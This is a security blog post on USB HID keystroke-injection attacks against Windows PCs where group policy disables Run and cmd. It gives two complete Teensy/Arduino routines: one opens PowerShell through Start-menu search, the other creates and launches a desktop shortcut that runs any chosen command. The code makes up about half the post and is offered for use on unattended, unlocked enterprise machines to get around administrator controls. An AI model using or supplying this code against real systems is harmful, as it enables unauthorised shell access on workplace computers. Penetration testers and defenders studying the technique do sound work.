July 19, 2018

USB HID – what to do when cmd and run are disabled

(Last Updated On: 20th September 2016)

All the articles I can find on the internet for the USB HID attack vector revolve around using one of two initial shell access methods.  These are:

  1. Windows key + R — Open a run  prompt
  2. Windows key, type “CMD”, press ENTER — Open a command window

Anyone who has worked in enterprise IT in the past 10 years should now be shouting at the screen “Those would be blocked!”.  This is what baffles me about these other articles, tools etc.  These methods are easily stopped via group policy and are these settings are actively encouraged by the community to prevent users from easily circumventing admin controls.  These payloads may work on your home laptop, but they will not work in the enterprise environments this whole attack vector is supposed to target.  So how do we get shell access without the run prompt or cmd access?

Well there are in fact plenty of ways as any pen tester will happily list for you but we also have to ensure that the methods we use to gain shell access are reliable and cross-platform.  This does reduce the list a little but I have 2 (yes 2!) solid methods for you right now!  Of course this method is purely for when you have a PC with an active unlocked session with an exposed USB port but no other access.  If you have access to a PC (think user has walked away), then you can interactively gain shell access whichever way works then use a HID attack to deliver the payload AFTER you are in cmd or PowerShell.  Both my methods leverage PowerShell as it is installed on all supported Windows operating systems and I’ve never seen its use prohibited (yet).

Tactic number 1 – launch PowerShell from the start menu.

The key points with this tactic is that we are going to effectively open the start menu with the Windows key and then search for PowerShell.  To make this tactic reliable, we have to predict and remove any other results of the search as the ordering of search results is different across operating systems.  So what is our search string?  So far I have, “powershell -module -ise” as I have seen results like PowerShell ISE (which takes longer to load then PowerShell) and Active Directory Module for PowerShell (which loads PowerShell but takes forever!).  Here is the code to get you PowerShell through this method.  With this code in you can use launchPowerShell() to … well … launch PowerShell.

void sendKey(int key,int numberOfTimes){
int i=0;
for (i=0; i!=numberOfTimes; i++){
Keyboard.set_key1(key);
Keyboard.send_now();
delay(50);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(50);
}
}
void sendModifier(int Key)
{
Keyboard.set_modifier(Key);
Keyboard.send_now();
delay(50);
Keyboard.set_modifier(0);
Keyboard.send_now();
}
void launchPowerShell()
{
sendModifier(MODIFIERKEY_GUI);
delay(200); // Wait for start menu to open
Keyboard.print("powershell -ise -module");
delay(200); // Wait for search to populate result
sendKey(KEY_ENTER,1);
delay(2000); // Wait for PowerShell to load
}

Tactic Number 2 – Use a shortcut.

I like this one because its elaborate but reliable!  We are basically going to minimise all windows to go to the desktop, create a new shortcut with our command in it and then open the shortcut.  This is used in my zero to hero guide to launch PowerShell.  There we were a few gotchas with this method as we have to open then the right click menu for the desktop, not a desktop item.  As we can’t control if we will automatically inherit an already selected desktop item, we have to use a keyboard shortcut to unselect any items first.  We also have to get all those annoying timings right as well.  This method doesn’t require PowerShell access and effectively gives us the run prompt on those systems that have it disabled (read ENTERPRISE).

Here is the code.

void sendModifier(int Key)
{
Keyboard.set_modifier(Key);
Keyboard.send_now();
delay(modifierKeyReleaseDelay);
Keyboard.set_modifier(0);
Keyboard.send_now();
}

void rightClick()
{
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_F10);
Keyboard.send_now();
delay(50);
Keyboard.set_key1(0);
Keyboard.set_modifier(0);
Keyboard.send_now();
delay(50); // Give it chance!
}

void unSelectObject()
{
Keyboard.set_modifier(MODIFIERKEY_CTRL);
Keyboard.set_key1(KEY_SPACE);
Keyboard.send_now();
delay(50);
Keyboard.set_key1(0);
Keyboard.set_modifier(0);
Keyboard.send_now();
delay(50); // Give it chance!
}

void sendKey(int key,int numberOfTimes){
int i=0;
for (i=0; i!=numberOfTimes; i++){
Keyboard.set_key1(key);
Keyboard.send_now();
delay(50);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(50);
}
}
void goToDesktop() // Requires sendKey and unSelectObject
{
Keyboard.set_modifier(MODIFIERKEY_GUI);
Keyboard.set_key1(KEY_M);
Keyboard.send_now();
delay(50);
Keyboard.set_key1(0);
Keyboard.set_modifier(0);
Keyboard.send_now();
delay(100); // Give it chance to minimise windows
sendKey(KEY_RIGHT,1); // Select a random item
unSelectObject(); // unSelect the random item
}

void cmdViaShortcut(String cmd, String shortcutName) // Requires sendKey and goToDesktop
{
goToDesktop();
rightClick();
sendKey(KEY_W,1);
sendKey(KEY_W,1);
sendKey(KEY_RIGHT,1);
sendKey(KEY_S,1);
sendKey(KEY_ENTER,1);
delay(500); // Wait for the new shortcut window to open
Keyboard.print(cmd);
sendKey(KEY_ENTER,1);
Keyboard.print(shortcutName);
sendKey(KEY_ENTER,1);
delay(500); // Wait for the shortcut to be created
goToDesktop();
Keyboard.print(shortcutName);
delay(100); // Wait for explorer to catch up
sendKey(KEY_ENTER,1);
}
void payload()
{
cmdViaShortcut("PowerShell.exe", "SimonsShortcut");
}

Previous «
Next »

Simon is a sysadmin for a global financial organisation and specialises in Windows, security and automation.

Leave a Reply

Subscribe to SYNACK via Email

%d bloggers like this: